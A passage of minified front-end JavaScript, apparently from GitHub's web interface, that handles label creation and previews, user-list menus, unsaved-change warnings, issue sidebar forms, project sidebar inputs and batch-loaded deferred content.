e.querySelectorAll(".js-user-list-menu-item"))r.checked=r.defaultChecked;n.json.didCreate?await Or():o&&await(0,Me.x0)(o),(0,c.f)(e,"user-list-menu-form:success")}),(0,c.on)("click",".js-user-list-delete-confirmation-trigger",e=>{const{currentTarget:t}=e,n=t.getAttribute("data-template-id");if(!n)return;const o=document.getElementById(n);if(!o||!(o instanceof HTMLTemplateElement))return;const r=t.closest(".js-edit-user-list-dialog");r&&(r.open=!1);const i=o.content.cloneNode(!0),a=o.getAttribute("data-labelledby");(0,Te.W)({content:i,labelledBy:a})}),(0,c.on)("click",".js-user-lists-create-trigger",async function(e){const{currentTarget:t}=e,n=document.querySelector(".js-user-list-create-dialog-template"),o=e.currentTarget.getAttribute("data-repository-id"),r=t.closest(".js-user-list-menu-content-root"),i=r==null?void 0:r.querySelector(".js-user-lists-menu-filter"),a=i==null?void 0:i.value.trim();if(!n||!(n instanceof HTMLTemplateElement)||!o){t instanceof HTMLButtonElement&&(t.disabled=!0);return}const l=n.getAttribute("data-label");if(r&&(0,Mt.T)(r)){const S=r.querySelector(".js-user-list-menu-form");S&&await jl(S)}const y=new lt.R(n,{repositoryId:o,placeholderName:a}),w=await(0,Te.W)({content:y,label:l});w.addEventListener("user-list-form:success",async()=>{await Or();const S=w.closest("details");S&&(S.open=!1)})}),(0,u.N7)("[data-warn-unsaved-changes]",{add(e){e.addEventListener("input",qt),e.addEventListener("change",qt),e.addEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").addEventListener("toggle",Nr),t.addEventListener("details-dialog-close",Br))},remove(e){e.removeEventListener("input",qt),e.removeEventListener("change",qt),e.removeEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").removeEventListener("toggle",Nr),t.removeEventListener("details-dialog-close",Br),et())}});function qt(e){const t=e.currentTarget;(0,Mt.T)(t)?Tl(t):et()}s(qt,"prepareUnsavedChangesWarning");function Tl(e){const t=e.getAttribute("data-warn-unsaved-changes")||"Changes you made may not be saved.";window.onbeforeunload=function(n){return n.returnValue=t,t}}s(Tl,"enableSaveChangesReminder");function et(){window.onbeforeunload=null}s(et,"disableSaveChangesReminder");function Nr({currentTarget:e}){e.hasAttribute("open")||et()}s(Nr,"disableSaveChangesReminderOnClosedDialogs");function Br(e){const t=e.currentTarget;if(!t.closest("details[open]"))return;let o=!0;const r=t.querySelectorAll("form[data-warn-unsaved-changes]");for(const i of r)if((0,Mt.T)(i)){const a=i.getAttribute("data-warn-unsaved-changes");o=confirm(a);break}o||e.preventDefault()}s(Br,"promptOnDialogClosing"),(0,u.N7)(".will-transition-once",{constructor:HTMLElement,subscribe:e=>(0,M.RB)(e,"transitionend",Al)});function Al(e){e.target.classList.remove("will-transition-once")}s(Al,"onTransitionEnd");async function Cl(e){const t=e.currentTarget,n=t.getAttribute("data-url");if(!n||kl(t))return;const o=t.getAttribute("data-id")||"",r=t.textContent,i=document.querySelectorAll(`.js-issue-link[data-id='${o}']`);for(const a of i)a.removeAttribute("data-url");try{const a=`${n}/title`,l=await fetch(a,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!l.ok){const w=new Error,S=l.statusText?` ${l.statusText}`:"";throw w.message=`HTTP ${l.status}${S}`,w}const y=await l.json();$r(i,`${r}, ${y.title}`)}catch(a){const l=(a.response!=null?a.response.status:void 0)||500,y=(()=>{switch(l){case 404:return t.getAttribute("data-permission-text");default:return t.getAttribute("data-error-text")}})();$r(i,y||"")}}s(Cl,"issueLabel");function $r(e,t){for(const n of e)n instanceof HTMLElement&&(n.classList.add("tooltipped","tooltipped-ne"),n.setAttribute("aria-label",t))}s($r,"setLabel");function kl(e){switch(e.getAttribute("data-hovercard-type")){case"issue":case"pull_request":return!!e.closest("[data-issue-and-pr-hovercards-enabled]");case"discussion":return!!e.closest("[data-discussion-hovercards-enabled]");default:return!1}}s(kl,"isHovercardEnabled"),(0,u.N7)(".js-issue-link",{subscribe:e=>(0,M.RB)(e,"mouseenter",Cl)});var xl=f(12085),Ie=f.n(xl);function xn(){return[Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0)]}s(xn,"randomRGBColor");function tt(e,t){const n=Ie().rgb.hsl(t);e.style.setProperty("--label-r",t[0].toString()),e.style.setProperty("--label-g",t[1].toString()),e.style.setProperty("--label-b",t[2].toString()),e.style.setProperty("--label-h",n[0].toString()),e.style.setProperty("--label-s",n[1].toString()),e.style.setProperty("--label-l",n[2].toString())}s(tt,"setColorSwatch");function Mn(e,t){e.blur();const n=e.closest("form"),o=n.querySelector(".js-new-label-color-input");(0,L.Se)(o,`#${Ie().rgb.hex(t)}`);const r=n.querySelector(".js-new-label-color");tt(r,t)}s(Mn,"setInputColorFromButton");function Ml(e,t){e.closest(".js-label-error-container").classList.add("errored"),e.textContent=t,e.hidden=!1}s(Ml,"addErrorToField");function ql(e){e.closest(".js-label-error-container").classList.remove("errored"),e.hidden=!0}s(ql,"removeErrorFromField");function ze(e,t,n){const o=t.querySelector(e);!o||(n?Ml(o,n[0]):ql(o))}s(ze,"showOrHideLabelError");function qn(e,t){ze(".js-label-name-error",e,t.name),ze(".js-label-description-error",e,t.description),ze(".js-label-color-error",e,t.color)}s(qn,"showLabelErrors");function De(e){ze(".js-label-name-error",e,null),ze(".js-label-description-error",e,null),ze(".js-label-color-error",e,null)}s(De,"hideLabelErrors");function Rl(e,t,n,o,r){const i=new URL(`${e}${encodeURIComponent(t)}`,window.location.origin),a=new URLSearchParams(i.search.slice(1));return a.append("color",n),o&&a.append("description",o),r&&a.append("id",r),i.search=a.toString(),i.toString()}s(Rl,"labelPreviewUrl");function _l(e){let t=null;const n=e.querySelector(".js-new-label-description-input");return n instanceof HTMLInputElement&&n.value.trim().length>0&&(t=n.value.trim()),t}s(_l,"labelDescriptionFrom");function Pl(e){const t=e.querySelector(".js-new-label-color-input");return t.checkValidity()?t.value.trim().replace(/^#/,""):"ededed"}s(Pl,"labelColorFrom");function Il(e,t){let o=e.querySelector(".js-new-label-name-input").value.trim();return o.length<1&&(o=t.getAttribute("data-default-name")),o}s(Il,"labelNameFrom");async function Ke(e){const t=e.closest(".js-label-preview-container");if(!t)return;const n=e.closest(".js-label-form"),o=n.querySelector(".js-new-label-error"),r=n.getAttribute("data-label-id"),i=t.querySelector(".js-label-preview"),a=Il(n,i);if(!n.checkValidity()&&a!=="Label preview")return;const l=Pl(n),y=_l(n),w=i.getAttribute("data-url-template"),S=Rl(w,a,l,y,r);if(t.hasAttribute("data-last-preview-url")){const I=t.getAttribute("data-last-preview-url");if(S===I)return}let R;try{R=await(0,pe.a)(document,S)}catch(I){const F=await I.response.json();qn(n,F),o&&(o.textContent=F.message,o.hidden=!1);return}o&&(o.textContent="",o.hidden=!0),De(n),i.innerHTML="",i.appendChild(R),t.setAttribute("data-last-preview-url",S)}s(Ke,"updateLabelPreview");function Dl(e){Ke(e.target)}s(Dl,"onLabelFormInputChange");function Fr(e,t){e.closest(".js-details-container").classList.toggle("is-empty",t)}s(Fr,"toggleBlankSlate");function Ur(e){const t=document.querySelector(".js-labels-count"),o=Number(t.textContent)+e;t.textContent=o.toString();const r=document.querySelector(".js-labels-label");return r.textContent=r.getAttribute(o===1?"data-singular-string":"data-plural-string"),o}s(Ur,"updateCount"),(0,j.q6)(".js-label-filter-field",function(e){const t=e.target,o=t.closest("details-menu").querySelector(".js-new-label-name");if(!o)return;const r=t.value.trim();o.textContent=r}),(0,c.on)("filterable:change",".js-filterable-issue-labels",function(e){const t=e.currentTarget.closest("details-menu"),n=t.querySelector(".js-add-label-button");if(!n)return;const r=e.detail.inputField.value.trim().toLowerCase();let i=!1;for(const a of t.querySelectorAll("input[data-label-name]"))if((a.getAttribute("data-label-name")||"").toLowerCase()===r){i=!0;break}n.hidden=r.length===0||i}),(0,j.ZG)(".js-new-label-color-input",function(e){const n=e.closest("form").querySelector(".js-new-label-swatches");n.hidden=!1,e.addEventListener("blur",function(){n.hidden=!0},{once:!0})}),(0,j.q6)(".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(!(n.length<1))if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){t.classList.remove("color-fg-danger");const r=t.closest("form").querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(n))}else t.classList.add("color-fg-danger")}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){const i=t.closest("form").querySelector(".js-new-label-color");tt(i,Ie().hex.rgb(n))}(0,c.f)(t,"change",!1);const o=t.closest("form");De(o)}),(0,j.w4)("keyup",".js-new-label-description-input",function(e){const n=e.target.form;De(n)}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const n=e.target.form;De(n)}),(0,c.on)("click",".js-new-label-color",async function(e){const t=e.currentTarget,n=xn();Mn(t,n),Ke(t)}),(0,c.on)("mousedown",".js-new-label-color-swatch",function(e){const t=e.currentTarget,n=t.getAttribute("data-color");Mn(t,Ie().hex.rgb(n)),Ke(t);const o=t.closest(".js-new-label-swatches");o.hidden=!0}),(0,c.on)("toggle",".js-new-label-modal",function(e){e.target.hasAttribute("open")&&Wr(e.target)},{capture:!0});async function Wr(e){const t=e.querySelector(".js-new-label-name-input");if(!t)return;const n=e.querySelector(".js-new-label-color-input"),o=xn(),r=`#${Ie().rgb.hex(o)}`;n.value=r;const i=e.querySelector(".js-new-label-color");tt(i,o);const l=document.querySelector(".js-new-label-name").textContent;(0,L.Se)(t,l),(0,Ht.OD)(t),Ke(i)}s(Wr,"initLabelModal"),(0,C.AC)(".js-new-label-modal-form",async function(e,t){const n=e.querySelector(".js-new-label-error");let o;try{o=await t.html()}catch(y){const w=y.response.json;n.textContent=w.message,n.hidden=!1}if(!o)return;n.hidden=!0,document.querySelector(".js-new-label-modal").removeAttribute("open");const r=document.querySelector(".js-issue-labels-menu-content"),i=r.querySelector(".js-filterable-issue-labels"),a=o.html.querySelector("input");i.prepend(o.html),a&&a.dispatchEvent(new Event("change",{bubbles:!0}));const l=r.querySelector(".js-label-filter-field");l.value=l.defaultValue,l.focus()}),(0,c.on)("click",".js-edit-label-cancel",function(e){const t=e.target.closest("form");De(t),t.reset();const n=t.querySelector(".js-new-label-color-input"),o=n.value,r=t.querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(o)),(0,Ht.Qc)(t),Ke(n);const i=e.currentTarget.closest(".js-labels-list-item");if(i){i.querySelector(".js-update-label").classList.add("d-none");const l=i.querySelector(".js-label-preview");l&&(l.classList.add("d-none"),i.querySelector(".js-label-link").classList.remove("d-none"));const y=i.querySelectorAll(".js-hide-on-label-edit");for(const w of y)w.hidden=!w.hidden}}),(0,C.AC)(".js-update-label",async function(e,t){let n;try{n=await t.html()}catch(r){const i=r.response.json;qn(e,i);return}De(e),e.closest(".js-labels-list-item").replaceWith(n.html)}),(0,C.AC)(".js-create-label",async function(e,t){let n;try{n=await t.html()}catch(a){const l=a.response.json;qn(e,l);return}e.reset(),De(e),document.querySelector(".js-label-list").prepend(n.html),Ur(1),Fr(e,!1);const o=e.querySelector(".js-new-label-color"),r=xn();Mn(o,r),Ke(e.querySelector(".js-new-label-name-input")),(0,Ht.Qc)(e);const i=e.closest(".js-details-container");i instanceof HTMLElement&&(0,Vt.Qp)(i)}),(0,c.on)("click",".js-details-target-new-label",function(){document.querySelector(".js-create-label").querySelector(".js-new-label-name-input").focus()}),(0,c.on)("click",".js-edit-label",function(e){const t=e.currentTarget.closest(".js-labels-list-item"),n=t.querySelector(".js-update-label");n.classList.remove("d-none"),n.querySelector(".js-new-label-name-input").focus();const r=t.querySelector(".js-label-preview");r&&(r.classList.remove("d-none"),t.querySelector(".js-label-link").classList.add("d-none"));const i=t.querySelectorAll(".js-hide-on-label-edit");for(const a of i)a.hidden=!a.hidden}),(0,C.AC)(".js-delete-label",async function(e,t){const n=e.closest(".js-labels-list-item");n.querySelector(".js-label-delete-spinner").hidden=!1,await t.text();const o=Ur(-1);Fr(e,o===0),n.remove()});const Rt=(0,P.D)(Dl,500);(0,c.on)("suggester:complete",".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-description-input",Rt),(0,j.q6)(".js-new-label-color-input",Rt),(0,j.w4)("keypress",".js-new-label-name-input",function(e){const t=e.target,n=parseInt(t.getAttribute("data-maxlength"));(0,Ee.rq)(t.value)>=n&&e.preventDefault()}),(0,c.on)("click",".js-issues-label-select-menu-item",function(e){!e.altKey&&!e.shiftKey||(e.preventDefault(),e.stopPropagation(),e.altKey&&(window.location.href=e.currentTarget.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=e.currentTarget.getAttribute("data-included-url")))}),(0,j.w4)("keydown",".js-issues-label-select-menu-item",function(e){if(e.key!=="Enter"||!e.altKey&&!e.shiftKey)return;const t=e.currentTarget;e.preventDefault(),e.stopPropagation(),t instanceof HTMLAnchorElement&&(e.altKey&&(window.location.href=t.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=t.getAttribute("data-included-url")))}),(0,c.on)("click",".js-open-label-creation-modal",async function(e){e.stopImmediatePropagation();const t=await(0,Te.W)({content:document.querySelector(".js-label-creation-template").content.cloneNode(!0),detailsClass:"js-new-label-modal"});Wr(t)},{capture:!0}),(0,c.on)("change",".js-thread-notification-setting",Rn),(0,c.on)("change",".js-custom-thread-notification-option",Rn),(0,c.on)("reset",".js-custom-thread-settings-form",Rn);function Rn(){const e=document.querySelector(".js-reveal-custom-thread-settings").checked,t=!document.querySelector(".js-custom-thread-notification-option:checked"),n=document.querySelector(".js-custom-thread-settings"),o=document.querySelector("[data-custom-option-required-text]"),r=e&&t?o.getAttribute("data-custom-option-required-text"):"";o.setCustomValidity(r),n.hidden=!e}s(Rn,"toggleEventSettings");var Hl=Object.defineProperty,Ol=Object.getOwnPropertyDescriptor,zr=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Ol(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Hl(t,n,r),r},"sidebar_widget_decorateClass");let _n=s(class extends HTMLElement{get activeClass(){return this.getAttribute("active-class")||"collapsible-sidebar-widget-active"}get loadingClass(){return this.getAttribute("loading-class")||"collapsible-sidebar-widget-loading"}get url(){return this.getAttribute("url")||""}get isOpen(){return this.hasAttribute("open")}set isOpen(e){e?this.setAttribute("open",""):this.removeAttribute("open")}onKeyDown(e){if(e.code==="Enter"||e.code==="Space")return e.preventDefault(),this.load()}onMouseDown(e){return e.preventDefault(),this.load()}load(){return this.pendingRequest?this.pendingRequest.abort():this.collapsible.hasAttribute("loaded")?this.isOpen?this.setClose():this.setOpen():(this.setLoading(),this.updateCollapsible())}setLoading(){this.classList.add(this.loadingClass),this.classList.remove(this.activeClass)}setOpen(){this.classList.add(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!0}setClose(){this.classList.remove(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!1}handleAbort(){this.pendingRequest=null,this.setClose()}async updateCollapsible(){var e;try{this.pendingRequest=new AbortController,this.pendingRequest.signal.addEventListener("abort",()=>this.handleAbort());const t=await fetch(this.url,{signal:(e=this.pendingRequest)==null?void 0:e.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(this.pendingRequest=null,!t.ok)return this.setClose();const n=await t.text();this.collapsible.innerHTML=n,this.collapsible.setAttribute("loaded",""),this.setOpen()}catch{return this.pendingRequest=null,this.setClose()}}},"CollapsibleSidebarWidgetElement");zr([J.fA],_n.prototype,"collapsible",2),_n=zr([J.Ih],_n);var Nl=Object.defineProperty,Bl=Object.getOwnPropertyDescriptor,ve=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Bl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Nl(t,n,r),r},"sidebar_memex_input_decorateClass");let ye=s(class extends HTMLElement{constructor(){super(...arguments);this.url="",this.csrf="",this.instrument="",this.column=1}get isDisabled(){var e;return(e=this.read)==null?void 0:e.hasAttribute("disabled")}set hasErrored(e){e?this.setAttribute("errored",""):this.removeAttribute("errored")}set disabled(e){e?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get hasExpanded(){return this.read.getAttribute("aria-expanded")==="true"}connectedCallback(){var e,t;this.disabled=(t=(e=this.read)==null?void 0:e.disabled)!=null?t:!0,this.querySelector("details")!==null&&this.classList.toggle("no-pointer")}handleDetailsSelect(e){var t;const n=e,o=e.target,r=(t=n.detail)==null?void 0:t.relatedTarget,i=o.closest("details"),a=i==null?void 0:i.querySelector("[data-menu-button]");if(r.getAttribute("aria-checked")==="true"){r.setAttribute("aria-checked","false"),e.preventDefault();for(const l of this.inputs)if(r.contains(l)){this.updateCell(l.name,""),(a==null?void 0:a.innerHTML)&&(a.innerHTML=l.placeholder);break}i==null||i.removeAttribute("open")}}handleDetailsSelected(e){var t;const o=(t=e.detail)==null?void 0:t.relatedTarget;for(const r of this.inputs)if(o.contains(r)){this.updateCell(r.name,r.value);break}}mouseDownFocus(e){!this.isDisabled||this.onFocus(e)}keyDownFocus(e){(e.code==="Enter"||e.code==="Space")&&this.read!==document.activeElement&&this.onFocus(e)}onChange(e){var t,n;e.target.getAttribute("type")!=="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value)}onFocus(e){e.preventDefault(),this.disabled=!1,this.read.disabled=!1,this.read.focus()}onBlur(e){var t,n;if(this.hasExpanded){e.preventDefault();return}e.target.getAttribute("type")==="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value),this.read.disabled=!0,this.disabled=!0}onKeyDown(e){if(e.code==="Enter"||e.code==="Tab"){if(e.preventDefault(),e.stopPropagation(),this.hasExpanded)return;this.read.blur()}}async updateCell(e="",t=""){const n=new FormData;n.set(e,t),n.set("ui",this.instrument);for(const r of this.parameters)n.set(r.name,r.value);const o=Intl.DateTimeFormat("en-US",{month:"short",day:"numeric",year:"numeric",timeZone:"UTC"});try{if(this.write){const S=this.read.value,R=this.read.type==="date"&&S?o.format(Date.parse(S)):S;this.write.textContent=S?R:this.read.placeholder}const r=await fetch(this.url,{method:"PUT",body:n,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest","Scoped-CSRF-Token":`${this.csrf}`}});if(!r.ok)throw new Error("connection error");if(!this.write)return;const l=(await r.json()).memexProjectItem.memexProjectColumnValues.find(S=>S.memexProjectColumnId===Number(this.column)).value,y=this.read.type==="date"?Date.parse(l.value):l.html,w=this.read.type==="date"&&y?o.format(y):y;this.write.innerHTML=t?w:this.read.placeholder}catch{this.hasErrored=!0}}},"SidebarMemexInputElement");ve([J.Lj],ye.prototype,"url",2),ve([J.Lj],ye.prototype,"csrf",2),ve([J.Lj],ye.prototype,"instrument",2),ve([J.Lj],ye.prototype,"column",2),ve([J.GO],ye.prototype,"inputs",2),ve([J.fA],ye.prototype,"read",2),ve([J.fA],ye.prototype,"write",2),ve([J.GO],ye.prototype,"parameters",2),ye=ve([J.Ih],ye);function nt(e,t=!1){(t||!zl(e))&&(e instanceof HTMLFormElement?(0,L.Bt)(e):Pt(e))}s(nt,"submitForm");function Kr(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form")||t.querySelector(".js-issue-sidebar-form");nt(n)}s(Kr,"submitOnMenuClose"),(0,c.on)("details-menu-selected",".js-discussion-sidebar-menu",function(e){const t=e.detail.relatedTarget,n=e.currentTarget,o=t.closest(".js-issue-sidebar-form"),r=n.hasAttribute("data-multiple");if(t.hasAttribute("data-clear-assignees")){const i=n.querySelectorAll('input[name="issue[user_assignee_ids][]"]:checked');for(const a of i)a.disabled=!1,a.checked=!1;nt(o)}else r?n.closest("details").addEventListener("toggle",Kr,{once:!0}):nt(o)},{capture:!0});function $l(e,t){e.replaceWith((0,q.r)(document,t))}s($l,"updateSidebar");function Vr(e){const t=document.querySelector(`[data-menu-trigger="${e}"]`);t==null||t.focus()}s(Vr,"returnFocusToTrigger"),(0,C.AC)(".js-issue-sidebar-form",async function(e,t){var n;const o=await t.html(),r=e.closest(".js-discussion-sidebar-item"),i=(n=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:n.getAttribute("id");r.replaceWith(o.html),i&&Vr(i)}),(0,c.on)("click","div.js-issue-sidebar-form .js-suggested-reviewer",function(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form");Pt(n,"post",{name:t.name,value:t.value}),e.preventDefault()}),(0,c.on)("click","div.js-issue-sidebar-form .js-issue-assign-self",function(e){var t;const n=e.currentTarget,o=n.closest(".js-issue-sidebar-form");Pt(o,"post",{name:n.name,value:n.value}),n.remove(),(t=document.querySelector("form#new_issue .is-submit-button-value"))==null||t.remove(),e.preventDefault()}),(0,c.on)("click",".js-issue-unassign-self",function(e){const t=e.currentTarget.closest(".js-issue-sidebar-form");Pt(t,"delete"),e.preventDefault()}),(0,C.AC)(".js-pages-preview-toggle-form",async function(e,t){const n=await t.json();e.querySelector("button.btn").textContent=n.json.new_button_value});function Fl(e,t){const n=e.getAttribute("data-cache-name");return`${t}:sidebar:${n}`}s(Fl,"getCacheKey");function Ul(e,t,n){const o=e.getAttribute("data-cache-name");if(!o)return;const r=[];for(const[a,l]of t.entries())a.indexOf(o)!==-1&&r.push([a,l]);const i=r.filter(a=>a[1]!=="");i.length>0?sessionStorage.setItem(n,JSON.stringify(i)):sessionStorage.removeItem(n)}s(Ul,"cacheValues");const _t=new Set;function Xr(){_t.clear()}s(Xr,"clearHasFired");async function Wl(e,t){const n=e.getAttribute("data-cache-name"),o=sessionStorage.getItem(t);if(!n||!o||_t.has(n))return;_t.add(n);const r=JSON.parse(o),i=[];for(const[a,l]of r){if(Object.prototype.toString.call(l)!=="[object String]")continue;const y=document.createElement("input");y.type="hidden",y.value=l,y.name=a,e.appendChild(y),i.push(y)}try{await Zr(e);for(const a of i)a.remove()}catch{_t.delete(n)}}s(Wl,"restoreCachedValues");let Gr=!1;function Pn(e,t){if(Gr)return;const n=In(e);Ul(e,n,t),Xr()}s(Pn,"cacheValuesOnHide"),(0,u.N7)("[data-cacher]",{add(e){const t=Fl(e,(0,xe.e)());Wl(e,t),window.addEventListener("pagehide",()=>Pn(e,t)),window.addEventListener("pjax:beforeReplace",()=>Pn(e,t)),window.addEventListener("turbo:before-visit",()=>Pn(e,t)),window.addEventListener("submit",n=>{n.defaultPrevented||(Gr=!0,setTimeout(()=>{for(const o of Object.keys(sessionStorage))o.indexOf(t)!==-1&&(sessionStorage.removeItem(o),Xr())},0))},{capture:!0})}});async function Pt(e,t="post",n){var o;await Zr(e,t,n);const r=e.closest(".js-discussion-sidebar-item"),i=(o=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:o.getAttribute("id");i&&Vr(i)}s(Pt,"previewSubmit");async function Zr(e,t="post",n){const o=In(e);n&&o.append(n.name,n.value);const r=e.getAttribute("data-url");if(!r)return;const i=e.querySelector(".js-data-url-csrf"),a=await fetch(r,{method:t,body:t==="delete"?"":o,mode:"same-origin",headers:{"Scoped-CSRF-Token":i.value,"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;const l=await a.text();$l(e.closest(".js-discussion-sidebar-item"),l)}s(Zr,"requestPreview");function zl(e){const t=e.getAttribute("data-reviewers-team-size-check-url");if(!t)return!1;const n=[...document.querySelectorAll(".js-reviewer-team")].map(l=>l.getAttribute("data-id")),o=e instanceof HTMLFormElement?new FormData(e):In(e),i=new URLSearchParams(o).getAll("reviewer_team_ids[]").filter(l=>!n.includes(l));if(i.length===0)return!1;const a=new URLSearchParams(i.map(l=>["reviewer_team_ids[]",l]));return Kl(e,`${t}?${a}`),!0}s(zl,"reviewerTeamsCheckRequired");async function Kl(e,t){const n=await fetch(t);if(!n.ok)return;const o=await n.text();if(o.match(/[^\w-]js-large-team[^\w-]/))Vl(e,o);else{nt(e,!0);return}}s(Kl,"triggerTeamReviewerCheck");function Vl(e,t){const n=e.querySelector(".js-large-teams-check-warning-container");for(;n.firstChild;)n.removeChild(n.firstChild);n.appendChild((0,q.r)(document,t));const o=n.querySelector("details");function r(i){if(i.target instanceof Element){if(o.open=!1,!i.target.classList.contains("js-large-teams-confirm-button")){const a=e.querySelectorAll("input[name='reviewer_team_ids[]']");for(const l of a)n.querySelector(`.js-large-team[data-id='${l.value}']`)&&(l.checked=!1)}nt(e,!0),i.preventDefault()}}s(r,"dialogAction"),n.querySelector(".js-large-teams-confirm-button").addEventListener("click",r,{once:!0}),n.querySelector(".js-large-teams-cancel-button").addEventListener("click",r,{once:!0}),o.addEventListener("details-dialog-close",r,{once:!0}),o.open=!0}s(Vl,"showTeamReviewerConfirmationDialog"),(0,c.on)("click","div.js-project-column-menu-container .js-project-column-menu-item button",async function(e){const t=e.currentTarget;Xl(t);const n=t.getAttribute("data-url"),o=t.parentElement.querySelector(".js-data-url-csrf"),r=t.getAttribute("data-card-id"),i=new FormData;if(i.append("card_id",r),i.append("use_automation_prioritization","true"),e.preventDefault(),!(await fetch(n,{method:"PUT",mode:"same-origin",body:i,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)return;const l=document.activeElement,y=t.closest(".js-project-column-menu-dropdown");if(l&&y.contains(l))try{l.blur()}catch{}});function Xl(e){const n=e.closest(".js-project-column-menu-dropdown").querySelector(".js-project-column-menu-summary"),o=e.getAttribute("data-column-name");n.textContent=o}s(Xl,"updateProjectColumnMenuSummary"),(0,c.on)("click",".js-prompt-dismiss",function(e){e.currentTarget.closest(".js-prompt").remove()});function In(e){const t=e.closest("form");if(!t)return new FormData;const o=new FormData(t).entries(),r=new FormData;for(const[i,a]of o)t.contains(Gl(t,i,a.toString()))&&r.append(i,a);return r}s(In,"scopedFormData");function Gl(e,t,n){for(const o of e.elements)if((o instanceof HTMLInputElement||o instanceof HTMLTextAreaElement||o instanceof HTMLButtonElement)&&o.name===t&&o.value===n)return o;return null}s(Gl,"findParam"),(0,c.on)("click",".js-convert-to-draft",function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.parentElement.querySelector(".js-data-url-csrf");fetch(t,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":n.value,"X-Requested-With":"XMLHttpRequest"}})}),(0,c.on)("click","div.js-restore-item",async function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.getAttribute("data-column"),o=e.currentTarget.querySelector(".js-data-url-csrf"),r=new FormData;if(r.set("memexProjectItemIds[]",n),!(await fetch(t,{method:"PUT",mode:"same-origin",body:r,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)throw new Error("connection error");Kr(e)})},22485:($,D,f)=>{"use strict";f.d(D,{N:()=>C,x:()=>_});var T=f(7739);let c=null;(async function(){await T.x,x()})();function C(g){_(u(g))}s(C,"announceFromElement");function _(g){!c||(c.textContent="",c.textContent=g)}s(_,"announce");function x(){c=document.createElement("div"),c.setAttribute("aria-live","polite"),c.classList.add("sr-only"),document.body.append(c)}s(x,"createNoticeContainer");function u(g){return(g.getAttribute("aria-label")||g.innerText||"").trim()}s(u,"getTextContent")},51989:($,D,f)=>{"use strict";f.d(D,{s:()=>h});var T=f(90420),c=f(12981);class C{constructor(b=50,v=30){this.elements=[],this.timer=null,this.callbacks=[],this.timeout=b,this.limit=v,this.index=0}push(b){const v=`item-${this.index++}`;return this.timer&&(window.clearTimeout(this.timer),this.timer=null),this.elements.length>=this.limit&&this.flush(),this.timer=window.setTimeout(()=>{this.timer=null,this.flush()},this.timeout),this.elements.push([b,v]),v}onFlush(b){this.callbacks.push(b)}async flush(){const b=this.elements.splice(0,this.limit);b.length!==0&&await Promise.all(this.callbacks.map(v=>v(b)))}}s(C,"AutoFlushingQueue");class _{constructor(b,v){this.url=b,this.callbacks=new Map,this.autoFlushingQueue=new C,this.autoFlushingQueue.onFlush(async L=>{this.load(L)}),this.validate=v}loadInBatch(b){const v=this.autoFlushingQueue.push(b);return new Promise(L=>this.callbacks.set(v,L))}async load(b){const v=new Map;for(const[E,A]of b)v.set(A,E);const L=new FormData;L.set("_method","GET");for(const[E,A]of v.entries())for(const k of A.inputs)L.append(`items[${E}][${k.name}]`,k.value);const q=await fetch(this.url,{method:"POST",body:L,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(q.ok){const E=await q.json();if(!E||typeof E!="object"||Array.isArray(E))throw new Error("Malformed batch response");for(const A in E){const k=this.callbacks.get(A);if(k){const j=E[A];this.validate(j),k(j)}}}}}s(_,"BatchLoader");var x=Object.defineProperty,u=Object.getOwnPropertyDescriptor,g=s((p,b,v,L)=>{for(var q=L>1?void 0:L?u(b,v):b,E=p.length-1,A;E>=0;E--)(A=p[E])&&(q=(L?A(b,v,q):A(q))||q);return L&&q&&x(b,v,q),q},"__decorateClass");class h extends HTMLElement{async connectedCallback(){const b=await this.batchLoader.loadInBatch(this);this.update(b)}get batchLoader(){const b=this.getAttribute("data-url");if(!b)throw new Error(`${this.tagName} element requires a data-url attribute`);let v=this.batchLoaders.get(b);return v||(v=new _(b,L=>this.validate(L)),this.batchLoaders.set(b,v)),v}}s(h,"BaseBatchDeferredContentElement");const d=new Map;let m=s(class extends h{constructor(){super(...arguments);this.batchLoaders=d}validate(p){if(typeof p!="string")throw new Error("Batch deferred content was not a string")}update(p){const b=(0,c.r)(document,p);this.replaceWith(b)}},"BatchDeferredContentElement");g([T.GO],m.prototype,"inputs",2),m=g([T.Ih],m)},41415:()=>{let $,D=!1;function 